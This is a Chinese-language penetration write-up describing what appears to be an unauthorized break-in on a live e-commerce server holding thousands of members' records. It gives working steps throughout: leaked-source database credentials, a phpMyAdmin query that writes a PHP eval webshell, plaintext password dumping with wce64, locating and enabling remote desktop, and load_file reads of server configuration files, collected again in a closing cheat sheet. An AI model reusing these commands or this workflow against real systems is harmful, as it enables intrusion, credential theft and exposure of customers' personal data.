源代碼泄露獲取某電子商務網站服務器權限
源代碼泄露獲取某電子商務網站服務器權限
simeon
滲透本次目標事發偶然,通過shadon對“phpMyAdmin”關鍵字進行檢索時,加入“indexOf”關鍵字後,會出現所有存在列目錄漏洞的網站,該網站為電子商務網站,網站保留有數萬會員真實信息,下面將整過滲透過程進行分享。
1.發現目標
通過shadon搜索引擎對搜索記錄逐個打開,發現某目標站點存在文件目錄泄露漏洞:
http://203.***.**.227/
http://203.***.**.227/www.********.hk.rar
http://203.***.**.227/phpMyAdmin/
http://203.***.**.227/news********hk/
目錄還有phpinfo.php文件,看到phpMyAdmin和phpinfo.php同時存在,感覺服務器權限已經不遠了,如圖1所示,有網站源代碼打包文件,將其下載到本地。
圖1文件泄露
2.查看源代碼打包文件
整個源代碼壓縮包
如圖2所示,將其解壓到本地,使用notepad進行查看,果然其中包含了數據庫配置信息,而且還是root帳號,密碼雖然算弱口令,但也是弱口令中的強口令。
圖2尋找數據庫配置文件
圖3獲取數據庫root帳號和密碼
3.尋找網站物理路徑
通過phpinfo.php文件查看,在瀏覽器中可以使用Ctrl+F快捷鍵搜索關鍵字“SCRIPT_FILENAME”獲取其真實物理路徑地址,_SERVER["SCRIPT_FILENAME"] D:/WWW/phpinfo.php,如圖4所示。
圖4獲取網站物理路勁
4.Mysql直接導出Webshell
通過獲取的root帳號和密碼登錄http://203.***.**.227/phpMyAdmin/,成功登錄,如圖5所示,選擇SQL查詢,在其中查詢select‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/p.php‘導出一句話後門。
圖5登錄mysql數據庫
圖6查詢導出一句話後門
6.獲取webshell
在瀏覽器中對http://203.***.**.227地址刷新即可獲取一句話後門文件地址:http://203.***.**.227/p.php,在瀏覽器中打開進行訪問,一切正常。使用中國菜刀一句話後門管理軟件,shell添加並打開,如圖7所示,順利獲取webshell
圖7獲取webshell
7.服務器提權
目測該系統php運行權限為系統權限,上傳wce64.exe,然後在終端管理中輸入“wce64-w”命令成功獲取管理員帳號密碼,如圖8所示。
圖8獲取管理員密碼
8.獲取3389端口
在終端管理器中執行netstat -an|find "3389",無結果顯示,估計管理員修改了默認端口,使用tasklist /svc命令獲取進程名稱和服務,找到termservice所對應的進程號,可以直接使用命令 tasklist /svc | find"termService"來獲取對應的PID號,如圖9所示,在本例中對應的ID號是1340。
圖9獲取遠程終端服務對應的PID值
然後使用“netstat -ano”命令尋找1340對應的端口號,如圖10所示,對應的TCP端口為7755端口,也可以使用命令netstat-ano | find ‘1340‘命令直接顯示。
圖10獲取終端服務對應的端口
9.登錄遠程終端
在命令提示符下輸入mstsc.exe,打開遠程終端登陸器,在3389遠程桌面登錄中的地址中輸入“203.***.**.227:7755”,然後使用獲取的管理員密碼成功登錄系統,如圖11所示。
圖11成功登錄系統
10.域名反查
打開http://www.yougetsignal.com/tools/web-sites-on-web-server/網站對IP地址203.***.**.227進行域名反查,如圖12所示,該IP下存在網站,打開該網站,該網站為一個電子商務網站,在該網站中存在數萬會員資料,如圖13所示。
圖12域名反查
圖13存在1萬多條會員信息
11.滲透總結與思考
對存在phpMyAdmin的站點,通過代碼泄露等方法來獲取數據庫的密碼,然後通過讀取文件或者導出文件來獲取webshell。
(1)3389端口命令行下獲取總結
netstat-an |find "3389" 查看3389端口是否開放
tasklist/svc | find "TermService" 獲取對應TermService的PID號
netstat-ano | find ‘1340‘ 查看上面獲取的PID號對應的TCP端口號
(2)Windows2008Server命令行開啟3389
wmic/namespace:\\root\cimv2\terminalservices path win32_terminalservicesettingwhere (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservicespath win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp‘) callsetuserauthenticationrequired 1
reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
(3)wce64 -w 命令直接獲取系統明文登錄密碼
(4)在phpinfo中查找SCRIPT_FILENAME關鍵字獲取真實路徑
(5)phpmyadmin一句話後門導出
select‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/p.php‘
(6)phpstudy敏感配置文件
selectload_file(‘ D:\phpStudy\Lighttpd\conf\vhosts.conf ‘);
select load_file(‘D:\phpStudy\Lighttpd\conf\ lighttpd.conf ‘);
selectload_file(‘ D:\phpStudy\Apache\conf\vhosts.conf‘);
selectload_file(‘ D:\phpStudy\Apache\conf\httpd.conf‘);
selectload_file(‘c:\boot.ini‘);
selectload_file(‘c:\boot.ini‘);
selectload_file(‘ D:\phpStudy\MySQL\my.ini‘);
源代碼泄露獲取某電子商務網站服務器權限